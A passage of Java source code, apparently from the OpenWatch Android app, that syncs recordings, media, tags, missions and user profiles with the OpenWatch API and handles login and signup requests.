obj_start_time));\n }\n\t\t\t\t\t\telse if(json_obj.getString(\"type\").compareTo(\"audio\") == 0){\n //obj_start_time = System.currentTimeMillis();\n\t\t\t\t\t\t\tOWAudio.createOrUpdateOWAudioWithJson(c, json_obj, OWFeed.getFeedFromString(c, feed_name));\n //Log.i(\"Benchamrk\", String.format(\"createdOrUpdated audio in %d ms\", System.currentTimeMillis() - obj_start_time));\n }\n\t\t\t\t\t\telse if(json_obj.getString(\"type\").compareTo(\"investigation\") == 0){\n //obj_start_time = System.currentTimeMillis();\n\t\t\t\t\t\t\tOWInvestigation.createOrUpdateOWInvestigationWithJson(c, json_obj, OWFeed.getFeedFromString(c, feed_name));\n //Log.i(\"Benchamrk\", String.format(\"createdOrUpdated inv in %d ms\", System.currentTimeMillis() - obj_start_time));\n }else if(json_obj.getString(\"type\").compareTo(\"mission\") == 0){\n OWMission.createOrUpdateOWMissionWithJson(c, json_obj, OWFeed.getFeedFromString(c, feed_name));\n }\n\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tadapter.commitTransaction();\n\t\t\t\tUri baseUri;\n /*\n\t\t\t\tif(feed_name.compareTo(OWFeedType.USER.toString().toLowerCase()) == 0){\n\t\t\t\t\tbaseUri = OWContentProvider.getUserRecordingsUri(user_id);\n\t\t\t\t}else{\n\t\t\t\t\tbaseUri = OWContentProvider.getFeedUri(feed_name);\n\t\t\t\t}\n\t\t\t\t*/\n baseUri = OWContentProvider.getFeedUri(feed_name);\n\t\t\t\tLog.i(\"URI\" + feed_name, \"notify change on uri: \" + baseUri.toString());\n\t\t\t\tc.getContentResolver().notifyChange(baseUri, null); \n\t\n\t\t\t\t\n\t\t\t\tif(cb != null){\n\t\t\t\t\tif(response.has(\"meta\")){\n\t\t\t\t\t\tJSONObject meta = response.getJSONObject(\"meta\");\n\t\t\t\t\t\tif(meta.has(\"object_count\"))\n\t\t\t\t\t\t\tobject_count = meta.getInt(\"object_count\");\n\t\t\t\t\t\tif(meta.has(\"page_count\"))\n\t\t\t\t\t\t\tpage_count = meta.getInt(\"page_count\");\n\t\t\t\t\t\tif(meta.has(\"page_number\")){\n\t\t\t\t\t\t\ttry{\n\t\t\t\t\t\t\tpage_number = Integer.parseInt(meta.getString(\"page_number\"));\n\t\t\t\t\t\t\t}catch(Exception e){};\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\tsuccess = true;\n // Benchmark\n long end_time = System.currentTimeMillis();\n Log.i(\"Benchmark\", String.format(\"finish parsing %s feed in %d ms\", feed_name, end_time-start_time));\n\t\t\t}catch(JSONException e){\n\t\t\t\tadapter.rollbackTransaction();\n\t\t\t\tLog.e(TAG, \"Error parsing \" + feed_name + \" feed response\");\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\t\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\t@Override\n\t protected void onPostExecute(Boolean result) {\n\t super.onPostExecute(result);\n\t if(success)\n\t \tcb.onSuccess(page_number, object_count, page_count);\n\t }\n\t\t\n\t}\n\t/*\n\tpublic static void syncOWMobileGeneratedObject(final Context app_context, OWMobileGeneratedObject object ){\n\t\tJsonHttpResponseHandler get_handler = new JsonHttpResponseHandler() {\n\t\t\t@Override\n\t\t\tpublic void onSuccess(JSONObject response) {\n\t\t\t\tLog.i(TAG, \"getMeta response: \" + response.toString());\n\t\t\t\t\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Throwable e, String response) {\n\t\t\t\tLog.i(TAG, \"syncRecording fail: \" + response);\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFinish() {\n\t\t\t\tLog.i(TAG, \"syncRecording finish\");\n\t\t\t}\n\n\t\t};\n\t\t\n\t}*/\n\t\n\tpublic static void createOWServerObject(final Context app_context, final OWServerObjectInterface object, final RequestCallback cb){\n\t\tJsonHttpResponseHandler post_handler = new JsonHttpResponseHandler() {\n\t\t\t@Override\n\t\t\tpublic void onSuccess(JSONObject response) {\n\t\t\t\tLog.i(TAG, \"createObject response: \" + response.toString());\n\t\t\t\ttry {\n\t\t\t\t\tif(response.has(\"success\") && response.getBoolean(\"success\")){\n\t\t\t\t\t\tLog.i(TAG, \"create object success!\");\n\t\t\t\t\t\tobject.updateWithJson(app_context, response.getJSONObject(\"object\"));\n if(cb != null)\n cb.onSuccess();\n\t\t\t\t\t\tsendOWMobileGeneratedObjectMedia(app_context, object);\n\t\t\t\t\t}\n\t\t\t\t} catch (JSONException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Throwable e, String response) {\n\t\t\t\tLog.i(TAG, \"createObject fail: \" + response);\n\t\t\t\te.printStackTrace();\n if(cb != null)\n cb.onFailure();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFinish() {\n\t\t\t\tLog.i(TAG, \"createObject finish\");\n\t\t\t}\n\n\t\t};\n\t\t\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tLog.i(TAG, String.format(\"Commencing Create OWServerObject: %s with json: %s\", endpointForContentType(object.getContentType(app_context)), object.toJsonObject(app_context) ));\n\t\t//Log.i(TAG, object.getType().toString());\n\t\t//Log.i(TAG, object.toJsonObject(app_context).toString());\n\t\t//Log.i(TAG, Utils.JSONObjectToStringEntity(object.toJsonObject(app_context)).toString());\n\t\thttp_client.post(app_context, endpointForContentType(object.getContentType(app_context)) , Utils\n\t\t\t\t.JSONObjectToStringEntity(object.toJsonObject(app_context)), \"application/json\", post_handler);\n\t}\n\n public static void sendOWMobileGeneratedObjectMedia(final Context app_context, final OWServerObjectInterface object){\n sendOWMobileGeneratedObjectMedia(app_context, object, null);\n }\n\n\tpublic static void sendOWMobileGeneratedObjectMedia(final Context app_context, final OWServerObjectInterface object, final RequestCallback cb){\n\t\tnew Thread(){\n\t\t\tpublic void run(){\n\t\t\t\tString file_response;\n\t\t\t\ttry {\n String filepath = object.getMediaFilepath(app_context);\n if(filepath == null){\n Log.e(TAG, String.format(\"Error, OWServerobject %d has null filepath\", ((Model)object).getId()));\n object.setSynced(app_context, true); // set object synced, because we have no hope of ever syncing it mobile file deleted\n return;\n }\n\t\t\t\t\tfile_response = OWMediaRequests.ApacheFilePost(app_context, instanceEndpointForOWMediaObject(app_context, object), object.getMediaFilepath(app_context), \"file_data\");\n\t\t\t\t\tLog.i(TAG, \"binary media sent! response: \" + file_response);\n if(file_response.contains(\"object\")){\n // BEGIN OWServerObject Sync Broadcast\n Log.d(\"OWPhotoSync\", \"Broadcasting sync success message\");\n object.setSynced(app_context, true);\n //if(object.getMediaType(app_context) == MEDIA_TYPE.PHOTO)\n //(Photo)\n Intent intent = new Intent(Constants.OW_SYNC_STATE_FILTER);\n // You can also include some extra data.\n intent.putExtra(\"status\", 1);\n intent.putExtra(\"child_model_id\", ((Model)object).getId());\n LocalBroadcastManager.getInstance(app_context).sendBroadcast(intent);\n // END OWServerObject Sync Broadcast\n if(cb != null)\n cb.onSuccess();\n\n }else{\n if(cb != null)\n cb.onFailure();\n }\n\t\t\t\t} catch (ParseException e) {\n\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (ClientProtocolException e) {\n\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (NullPointerException e){\n e.printStackTrace();\n }\n\t\t\t\t\n\t\t\t}\n\t\t}.start();\n\n\t}\n\n private static String instanceEndpointForOWUser(Context c, OWUser u){\n return Constants.OW_API_URL + \"u/\" + String.valueOf(u.server_id.get()) + \"/\";\n }\n\t\n\tprivate static String instanceEndpointForOWMediaObject(Context c, OWServerObjectInterface object){\n\t\tCONTENT_TYPE contentType = object.getContentType(c);\n if(contentType == CONTENT_TYPE.VIDEO || contentType == CONTENT_TYPE.AUDIO || contentType == CONTENT_TYPE.PHOTO)\n\t\t\treturn Constants.OW_API_URL + Constants.API_ENDPOINT_BY_CONTENT_TYPE.get(contentType) + \"/\" + object.getUUID(c) +\"/\";\n\t\telse\n\t\t\treturn Constants.OW_API_URL + Constants.API_ENDPOINT_BY_CONTENT_TYPE.get(contentType) + \"/\" + object.getServerId(c) +\"/\";\n\t}\n\n private static String instanceEndpointForOWMediaObject(Context c, CONTENT_TYPE contentType, String serverIdOrUUID){\n if(contentType == CONTENT_TYPE.VIDEO || contentType == CONTENT_TYPE.AUDIO || contentType == CONTENT_TYPE.PHOTO)\n return Constants.OW_API_URL + Constants.API_ENDPOINT_BY_CONTENT_TYPE.get(contentType) + \"/\" + serverIdOrUUID +\"/\";\n else\n return Constants.OW_API_URL + Constants.API_ENDPOINT_BY_CONTENT_TYPE.get(contentType) + \"/\" + serverIdOrUUID +\"/\";\n }\n\t\n\tprivate static String endpointForContentType(CONTENT_TYPE type){\n\t\treturn Constants.OW_API_URL + Constants.API_ENDPOINT_BY_CONTENT_TYPE.get(type) + \"/\";\n\t}\n\n public static void syncOWServerObject(final Context app_context,\n final OWServerObjectInterface object) {\n syncOWServerObject(app_context, object, false, null);\n }\n\n public static void syncOWServerObject(final Context app_context, final OWServerObjectInterface object, RequestCallback cb){\n syncOWServerObject(app_context, object, false, cb);\n }\n\t\n\n\t/**\n\t * Fetch server recording data, check last_edited, and push update if\n\t * necessary. if forcePushLocalData, push local data even if server's last-edited\n * is greater than local\n\t * \n\t * @param app_context\n\t */\n\tpublic static void syncOWServerObject(final Context app_context,\n\t\t\t final OWServerObjectInterface object, final boolean forcePushLocalData, final RequestCallback cb) {\n\t\tfinal String METHOD = \"syncRecording\";\n\t\tfinal int model_id = ((Model)object).getId();\n\t\tJsonHttpResponseHandler get_handler = new JsonHttpResponseHandler() {\n\t\t\t@Override\n\t\t\tpublic void onSuccess(JSONObject response) {\n\t\t\t\tLog.i(TAG, \"getMeta response: \" + response.toString());\n\t\t\t\tif (response.has(\"id\")) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\t//JSONObject object_json = response\n\t\t\t\t\t\t//\t\t.getJSONObject(\"object\");\n\t\t\t\t\t\t// response was successful\n\t\t\t\t\t\tOWServerObject server_object = OWServerObject.objects(\n\t\t\t\t\t\t\t\tapp_context, OWServerObject.class).get(\n\t\t\t\t\t\t\t\tmodel_id);\n if(server_object == null)\n Log.e(TAG, String.format(\"Could not locate OWServerObject with id: %d\", model_id) );\n\t\t\t\t\t\tDate last_edited_remote = Constants.utc_formatter\n\t\t\t\t\t\t\t\t.parse(response.getString(\"last_edited\"));\n\t\t\t\t\t\tDate last_edited_local = Constants.utc_formatter.parse(server_object\n\t\t\t\t\t\t\t\t.getLastEdited(app_context));\n\t\t\t\t\t\tLog.i(TAG,\n\t\t\t\t\t\t\t\t\"Sync dates. Remote: \"\n\t\t\t\t\t\t\t\t\t\t+ response\n\t\t\t\t\t\t\t\t\t\t\t\t.getString(\"last_edited\")\n\t\t\t\t\t\t\t\t\t\t+ \" local: \"\n\t\t\t\t\t\t\t\t\t\t+ server_object.getLastEdited(app_context));\n\t\t\t\t\t\t// If local recording has no server_id, pull in fields\n\t\t\t\t\t\t// generated by server as there's no risk of conflict\n\t\t\t\t\t\tboolean doSave = false;\n\t\t\t\t\t\t// using the interface methods requires saving before\n\t\t\t\t\t\t// the object ref is lost\n\t\t\t\t\t\tif (response.has(Constants.OW_SERVER_ID)) {\n\t\t\t\t\t\t\tserver_object.server_id.set(response\n\t\t\t\t\t\t\t\t\t.getInt(Constants.OW_SERVER_ID));\n\t\t\t\t\t\t\t// recording.setServerId(app_context,\n\t\t\t\t\t\t\t// recording_json.getInt(Constants.OW_SERVER_ID));\n\t\t\t\t\t\t\tdoSave = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (response.has(Constants.OW_FIRST_POSTED)) {\n\t\t\t\t\t\t\tserver_object.first_posted.set(response\n\t\t\t\t\t\t\t\t\t.getString(Constants.OW_FIRST_POSTED));\n\t\t\t\t\t\t\t// recording.setFirstPosted(app_context,\n\t\t\t\t\t\t\t// recording_json.getString(Constants.OW_FIRST_POSTED));\n\t\t\t\t\t\t\tdoSave = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (response.has(Constants.OW_THUMB_URL)) {\n\t\t\t\t\t\t\tserver_object.thumbnail_url.set(response\n\t\t\t\t\t\t\t\t\t.getString(Constants.OW_THUMB_URL));\n\t\t\t\t\t\t\t// recording.setThumbnailUrl(app_context,\n\t\t\t\t\t\t\t// recording_json.getString(Constants.OW_THUMB_URL));\n\t\t\t\t\t\t\t// recording.media_object.get(app_context).save(app_context);\n\t\t\t\t\t\t\tdoSave = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (doSave == true) {\n\t\t\t\t\t\t\t// media_obj.save(app_context);\n\t\t\t\t\t\t\tserver_object.save(\n\t\t\t\t\t\t\t\t\tapp_context);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tOWServerObjectInterface child_obj = (OWServerObjectInterface) server_object.getChildObject(app_context);\n\t\t\t\t\t\tif(child_obj == null)\n\t\t\t\t\t\t\tLog.e(TAG, \"getChildObject returned null for OWServerObject \" + String.valueOf(server_object.getId()));\n\n\t\t\t\t\t\tif (!forcePushLocalData && last_edited_remote.after(last_edited_local)) {\n\t\t\t\t\t\t\t// copy remote data to local\n\t\t\t\t\t\t\tLog.i(TAG, \"remote recording data is more recent\");\n\t\t\t\t\t\t\t//server_object.updateWithJson(app_context, object_json);\n\t\t\t\t\t\t\t// call child object's updateWithJson -> calls OWServerObject's updateWithJson\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif(child_obj != null){\n\t\t\t\t\t\t\t\tchild_obj.updateWithJson(app_context, response);\n if(cb != null)\n cb.onSuccess();\n }\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t} else if ( forcePushLocalData || last_edited_remote.before(last_edited_local)) {\n\t\t\t\t\t\t\t// copy local to remote\n\t\t\t\t\t\t\tLog.i(TAG, \"local recording data is more recent\");\n\t\t\t\t\t\t\tif(child_obj != null){\n\t\t\t\t\t\t\t\tOWServiceRequests.editOWServerObject(app_context,\n\t\t\t\t\t\t\t\t\tchild_obj, new JsonHttpResponseHandler() {\n\t\t\t\t\t\t\t\t\t\t@Override\n\t\t\t\t\t\t\t\t\t\tpublic void onSuccess(\n\t\t\t\t\t\t\t\t\t\t\t\tJSONObject response) {\n\t\t\t\t\t\t\t\t\t\t\tLog.i(TAG,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"editRecording response: \"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t+ response);\n\n if(cb != null)\n cb.onSuccess();\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t@Override\n\t\t\t\t\t\t\t\t\t\tpublic void onFailure(Throwable e,\n\t\t\t\t\t\t\t\t\t\t\t\tJSONObject response) {\n\t\t\t\t\t\t\t\t\t\t\tLog.i(TAG, \"editRecording failed: \"\n\t\t\t\t\t\t\t\t\t\t\t\t\t+ response);\n\t\t\t\t\t\t\t\t\t\t\te.printStackTrace();\n\n if(cb != null)\n cb.onFailure();\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\tLog.e(TAG, METHOD + \"failed to handle response\");\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t}else try {\n if(response.has(\"success\") && response.getBoolean(\"success\") == false){\n handleOWApiError(app_context, response);\n }\n } catch (JSONException e) {\n e.printStackTrace();\n }\n\n }\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Throwable e, String response) {\n\t\t\t\tLog.i(TAG, \"syncRecording fail: \" + response);\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFinish() {\n\t\t\t\tLog.i(TAG, \"syncRecording finish\");\n\t\t\t}\n\n\t\t};\n\t\tgetOWServerObjectMeta(app_context, object, \"\", get_handler);\n\n\t}\n\n private static void handleOWApiError(Context app_context, JSONObject response){\n try {\n if(response.has(\"code\") && response.getInt(\"code\") == 406){\n SharedPreferences profile = app_context.getSharedPreferences(\n Constants.PROFILE_PREFS, app_context.MODE_PRIVATE);\n if(profile.contains(Constants.EMAIL) && profile.getBoolean(Constants.AUTHENTICATED, false)){\n // Auth cookie wrong / missing. Prompt user to re-login\n Analytics.trackEvent(app_context, Analytics.SESSION_EXPIRED, null);\n Authentication.logOut(app_context);\n OWUtils.goToLoginActivityWithMessage(app_context, app_context.getString(R.string.message_account_expired));\n }\n }\n } catch (JSONException e) {\n e.printStackTrace();\n }\n }\n\n\tpublic static void getOWServerObjectMeta(Context app_context, OWServerObjectInterface object, String http_get_string, JsonHttpResponseHandler response_handler) {\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tif(http_get_string == null)\n\t\t\thttp_get_string = \"\";\n if(object == null)\n return;\n\t\tLog.i(TAG, \"Commencing Get Recording Meta: \" + instanceEndpointForOWMediaObject(app_context, object) + http_get_string);\n\t\thttp_client.get(instanceEndpointForOWMediaObject(app_context, object) + http_get_string, response_handler);\n\t}\n\n public static void updateOrCreateOWServerObject(final Context app_context, CONTENT_TYPE contentType, String serverIdOrUUID, String http_get_string, final RequestCallback cb) {\n JsonHttpResponseHandler response_handler = new JsonHttpResponseHandler(){\n @Override\n public void onSuccess(JSONObject response) {\n //Log.i(TAG, \"flag object success \" + response.toString());\n try {\n String type = response.getString(\"type\");\n if(type.compareTo(CONTENT_TYPE.MISSION.toString().toLowerCase()) == 0)\n OWMission.createOrUpdateOWMissionWithJson(app_context, response);\n // TODO: The rest\n if(cb != null)\n cb.onSuccess();\n } catch (JSONException e) {\n e.printStackTrace();\n }\n }\n };\n AsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n if(http_get_string == null)\n http_get_string = \"\";\n Log.i(TAG, \"Commencing Get Object Meta: \" + instanceEndpointForOWMediaObject(app_context, contentType, serverIdOrUUID) + http_get_string);\n http_client.get(instanceEndpointForOWMediaObject(app_context, contentType, serverIdOrUUID) + http_get_string, response_handler);\n }\n\n\t/**\n\t * Post recording data to server. object should be a child OW object. i.e: NOT OWServerObject\n\t * \n\t * @param app_context\n\t * @param response_handler\n\t */\n\tpublic static void editOWServerObject(Context app_context,\n\t\t\tOWServerObjectInterface object, JsonHttpResponseHandler response_handler) {\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tLog.i(TAG,\n\t\t\t\t\"Commencing Edit Recording: \"\n\t\t\t\t\t\t+ object.toJsonObject(app_context));\n\t\thttp_client.post(app_context, instanceEndpointForOWMediaObject(app_context, object), Utils\n\t\t\t\t.JSONObjectToStringEntity(object.toJsonObject(app_context)),\n\t\t\t\t\"application/json\", response_handler);\n\t}\n\n public static void postMissionAction(final Context app_context, OWServerObject serverObject, final OWMission.ACTION action){\n JSONObject json = new JSONObject();\n final int modelId = serverObject.getId();\n try {\n json.put(\"action\", action.toString().toLowerCase());\n } catch (JSONException e) {\n e.printStackTrace();\n }\n\n JsonHttpResponseHandler response_handler = new JsonHttpResponseHandler() {\n @Override\n public void onSuccess(JSONObject response) {\n try {\n if(response.has(\"success\") && response.getBoolean(\"success\")){\n OWServerObject serverObject = OWServerObject.objects(app_context, OWServerObject.class).get(modelId);\n serverObject.mission.get(app_context).updateWithActionComplete(app_context, action);\n }\n } catch (JSONException e) {\n e.printStackTrace();\n }\n }\n };\n\n AsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n http_client.post(app_context, instanceEndpointForOWMediaObject(app_context, serverObject), Utils.JSONObjectToStringEntity(json), \"application/json\", response_handler);\n }\n\n public static void flagOWServerObjet(Context app_context, OWServerObjectInterface object){\n AsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n JSONObject json = new JSONObject();\n try {\n json.put(\"flagged\", true);\n } catch (JSONException e) {\n e.printStackTrace();\n }\n http_client.post(app_context, instanceEndpointForOWMediaObject(app_context, object), Utils.JSONObjectToStringEntity(json), \"application/json\", new JsonHttpResponseHandler(){\n @Override\n public void onSuccess(JSONObject response) {\n Log.i(TAG, \"flag object success \" + response.toString());\n }\n @Override\n public void onFailure(Throwable e, String response) {\n Log.i(TAG, \"flag object failure: \" + response);\n\n }\n\n @Override\n public void onFinish() {\n Log.i(TAG, \"flag object finish: \");\n\n }\n });\n }\n\n\tpublic static void setTags(final Context app_context, QuerySet<OWTag> tags) {\n\t\tfinal String METHOD = \"setTags\";\n\t\tJSONObject result = new JSONObject();\n\t\tJSONArray tag_list = new JSONArray();\n\t\tfor (OWTag tag : tags) {\n\t\t\ttag_list.put(tag.toJson());\n\t\t}\n\t\ttry {\n\t\t\tresult.put(Constants.OW_TAGS, tag_list);\n\t\t} catch (JSONException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\tAsyncHttpClient client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tString url = Constants.OW_API_URL + Constants.OW_TAGS;\n\t\tLog.i(TAG,\n\t\t\t\t\"commencing \" + METHOD + \" : \" + url + \" json: \"\n\t\t\t\t\t\t+ result.toString());\n\t\tclient.post(app_context, url, Utils.JSONObjectToStringEntity(result),\n\t\t\t\t\"application/json\", new JsonHttpResponseHandler() {\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void onSuccess(JSONObject response) {\n\t\t\t\t\t\tLog.i(TAG, METHOD + \" success : \" + response.toString());\n\t\t\t\t\t}\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void onFailure(Throwable e, String response) {\n\t\t\t\t\t\tLog.i(TAG, METHOD + \" failure: \" + response);\n\n\t\t\t\t\t}\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void onFinish() {\n\t\t\t\t\t\tLog.i(TAG, METHOD + \" finish: \");\n\n\t\t\t\t\t}\n\t\t\t\t});\n\t}\n\n public static void sendOWUserAvatar(final Context app_context, final OWUser user, final File image, final RequestCallback cb){\n new Thread(){\n public void run(){\n try {\n String fileResponse = OWMediaRequests.ApacheFilePost(app_context, instanceEndpointForOWUser(app_context, user), image.getAbsolutePath(), \"file_data\");\n if(fileResponse.contains(\"object\")){\n try {\n JSONObject jsonResponse= new JSONObject(fileResponse);\n OWUser.objects(app_context, OWUser.class).get(user.getId()).updateWithJson(app_context, jsonResponse);\n if(cb != null)\n cb.onSuccess();\n } catch (JSONException e) {\n e.printStackTrace();\n }\n\n }else{\n if(cb != null)\n cb.onFailure();\n }\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n\n }.start();\n\n }\n\n /*\n Immediatley send user agent_applicant status, then re-send location on success\n */\n\n public static void syncOWUser(final Context app_context, final OWUser user, final RequestCallback cb){\n final AsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n Log.i(TAG,\n \"Commencing Edit User to: \" + instanceEndpointForOWUser(app_context, user) + \" \"\n + user.toJSON());\n\n final JsonHttpResponseHandler _cb = new JsonHttpResponseHandler(){\n @Override\n public void onSuccess(JSONObject response) {\n Log.i(TAG, \"Edit user response: \" + response.toString());\n if(response.has(\"object\")){\n try {\n user.updateWithJson(app_context, response.getJSONObject(\"object\"));\n if(cb != null)\n cb.onSuccess();\n } catch (JSONException e) {\n e.printStackTrace();\n if(cb != null)\n cb.onFailure();\n }\n }\n }\n\n @Override\n public void onFailure(Throwable e, String response) {\n Log.i(TAG, \"Edit user response: \" + response.toString());\n if(cb != null)\n cb.onFailure();\n }\n\n };\n\n if(user.agent_applicant.get() == true){\n DeviceLocation.getLastKnownLocation(app_context, false, new DeviceLocation.GPSRequestCallback() {\n @Override\n public void onSuccess(Location result) {\n if(result != null){\n user.lat.set(result.getLatitude());\n user.lon.set(result.getLongitude());\n user.save(app_context);\n Log.i(TAG, String.format(\"Got user location %fx%f\", result.getLatitude(), result.getLongitude()));\n http_client.post(app_context, instanceEndpointForOWUser(app_context, user), Utils\n .JSONObjectToStringEntity(user.toJSON()),\n \"application/json\", _cb);\n }\n }\n });\n }\n\n http_client.post(app_context, instanceEndpointForOWUser(app_context, user), Utils\n .JSONObjectToStringEntity(user.toJSON()),\n \"application/json\", _cb);\n }\n\n\t/**\n\t * Merges server tag list with stored. Assume names are unchanging (treated\n\t * as primary key)\n\t * \n\t * @param app_context\n\t * @param cb\n\t */\n\tpublic static void getTags(final Context app_context,\n\t\t\tfinal RequestCallback cb) {\n\t\tfinal String METHOD = \"getTags\";\n\t\tAsyncHttpClient client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tString url = Constants.OW_API_URL + Constants.OW_TAGS;\n\t\tLog.i(TAG, \"commencing getTags: \" + url);\n\t\tclient.get(url, new JsonHttpResponseHandler() {\n\n\t\t\t@Override\n\t\t\tpublic void onSuccess(JSONObject response) {\n\n\t\t\t\tJSONArray array_json;\n\t\t\t\ttry {\n\t\t\t\t\tarray_json = (JSONArray) response.get(\"tags\");\n\t\t\t\t\tJSONObject tag_json;\n\n\t\t\t\t\tint tag_count = OWTag.objects(app_context, OWTag.class)\n\t\t\t\t\t\t\t.count();\n\n\t\t\t\t\tDatabaseAdapter adapter = DatabaseAdapter\n\t\t\t\t\t\t\t.getInstance(app_context);\n\t\t\t\t\tadapter.beginTransaction();\n\n\t\t\t\t\tOWTag tag = null;\n\t\t\t\t\tfor (int x = 0; x < array_json.length(); x++) {\n\t\t\t\t\t\ttag_json = array_json.getJSONObject(x);\n\t\t\t\t\t\ttag = OWTag.getOrCreateTagFromJson(app_context, tag_json);\n\t\t\t\t\t\ttag.save(app_context);\n\t\t\t\t\t\t//Log.i(TAG,\n\t\t\t\t\t\tLog.i(\"TAGGIN\",\n\t\t\t\t\t\t\t\tMETHOD + \" saved tag: \" + tag.name.get()\n\t\t\t\t\t\t\t\t\t\t+ \" featured: \"\n\t\t\t\t\t\t\t\t\t\t+ String.valueOf(tag.is_featured.get()));\n\n\t\t\t\t\t}\n\n\t\t\t\t\tadapter.commitTransaction();\n\t\t\t\t\tLog.i(TAG, \"getTags success :\" + response.toString());\n\t\t\t\t\tif (cb != null)\n\t\t\t\t\t\tcb.onSuccess();\n\t\t\t\t} catch (JSONException e) {\n\t\t\t\t\tLog.e(TAG, METHOD + \" failed to parse JSON: \" + response);\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Throwable e, String response) {\n\t\t\t\tLog.i(TAG, METHOD + \" failure: \" + response);\n\t\t\t\tif (cb != null)\n\t\t\t\t\tcb.onFailure();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFinish() {\n\t\t\t\tLog.i(TAG, METHOD + \" finished\");\n\t\t\t}\n\n\t\t});\n\t}\n\n\t/**\n\t * Login an existing account with the OpenWatch service\n\t */\n\tpublic static void userLogin(Context app_context, StringEntity post_body,\n JsonHttpResponseHandler response_handler) {\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tLog.i(TAG, \"Commencing login to: \" + Constants.OW_API_URL\n\t\t\t\t+ Constants.OW_LOGIN);\n\t\thttp_client.post(app_context,\n\t\t\t\tConstants.OW_API_URL + Constants.OW_LOGIN, post_body,\n\t\t\t\t\"application/json\", response_handler);\n\n\t}\n\n\t/**\n\t * Create a new account with the OpenWatch servicee\n\t */\n\tpublic static void userSignup(Context app_context, StringEntity post_body,\n JsonHttpResponseHandler response_handler) {\n\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tLog.i(TAG, \"Commencing signup to: \" + Constants.OW_API_URL\n\t\t\t\t+ Constants.OW_SIGNUP);\n\t\thttp_client.post(app_context, Constants.OW_API_URL\n\t\t\t\t+ Constants.OW_SIGNUP, post_body, \"application/json\",\n\t\t\t\tresponse_handler);\n\n\t}\n\n /**\n * Create a new account with the OpenWatch servicee\n */\n public static void quickUserSignup(Context app_context, String email,\n JsonHttpResponseHandler response_handler) {\n\n JSONObject json = new JSONObject();\n StringEntity se = null;\n try {\n json.put(\"email\", email);\n se = new StringEntity(json.toString());\n } catch (JSONException e) {\n Log.e(TAG, \"Error loading email to json\");\n e.printStackTrace();\n return;\n } catch (UnsupportedEncodingException e) {\n Log.e(TAG, \"Error creating StringEntity from json\");\n e.printStackTrace();\n return;\n }\n\n AsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n Log.i(TAG, \"Commencing signup to: \" + Constants.OW_API_URL\n + \"quick_signup\");\n http_client.post(app_context, Constants.OW_API_URL\n + \"quick_signup\", se, \"application/json\",\n response_handler);\n\n }\n\n\t/**\n\t * Registers this mobile app with the OpenWatch service sends the\n\t * application version number\n\t */\n\tpublic static void RegisterApp(Context app_context,\n\t\t\tString public_upload_token, JsonHttpResponseHandler response_handler) {\n\t\tPackageInfo pInfo;\n\t\tString app_version = \"Android-\";\n\t\ttry {\n\t\t\tpInfo = app_context.getPackageManager().getPackageInfo(\n\t\t\t\t\tapp_context.getPackageName(), 0);\n\t\t\tapp_version += pInfo.versionName;\n\t\t} catch (NameNotFoundException e) {\n\t\t\tLog.e(TAG, \"Unable to read PackageName in RegisterApp\");\n\t\t\te.printStackTrace();\n\t\t\tapp_version += \"unknown\";\n\t\t}\n\n\t\tHashMap<String, String> params = new 